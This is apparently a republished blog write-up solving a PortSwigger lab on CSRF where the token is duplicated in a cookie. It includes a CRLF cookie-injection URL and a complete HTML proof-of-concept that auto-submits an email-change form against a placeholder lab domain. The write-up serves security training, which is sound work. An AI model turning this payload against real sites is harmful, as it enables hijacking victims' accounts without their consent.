CSRF Where Token is duplicated in Cookie

CSRF Where Token is duplicated in Cookie | 2023
2023-2-6 15:26:24 Author: infosecwriteups.com(查看原文) 阅读量:22 收藏

Portswigger Cross-Site Request Forgery Lab Simple Solution | Karthikeyan Nagaraj

Cross-Site Request Forgery (CSRF) is a type of security vulnerability that affects web applications.
It occurs when an attacker tricks a user’s browser into sending a malicious request to a web application on behalf of the user, often without the user’s knowledge or consent.
The attacker takes advantage of the trust that a web application has in a user’s browser, exploiting the fact that the browser automatically includes authentication credentials (such as cookies) with each request.
This can allow an attacker to perform actions such as changing a password, transferring funds, or accessing sensitive information.
For example, if a user is logged into their online banking account and visits a malicious website, the attacker could use CSRF to transfer money from the user’s account without their knowledge.

Lab Description:

This lab’s email change functionality is vulnerable to CSRF. It attempts to use the insecure “double submit” CSRF prevention technique.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter

Analysis:

We know that the Email change Functionality is vulnerable to CSRF, So Let’s capture the Request

2. Send the Request to the Repeater

3. Perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header

4. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user’s browser.

5. Create a URL that uses this vulnerability to inject a fake csrf cookie into the victim's browser:

/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None

6. Generate POC for the Current request

7. Modify the poc and add the below script into the HTML code

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="abc&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="abc" />
      <input type="submit" value="Submit request" />
    </form>
  <img src="https://YOUR-LAB-ID.web-security-academy.net/?search=abc%0d%0aSet-Cookie:%20csrf=abc%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

8. Paste the code and Deliver it to the Victim

Feel Free to Ask Queries via LinkedIn and to Buy me a Cofee : )

Thank you for Reading!!

Happy Hunting ~

Author : karthikeyan Nagaraj ~ Cyberw1ng

文章来源: https://infosecwriteups.com/csrf-where-token-is-duplicated-in-cookie-2023-387556f4adb2?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh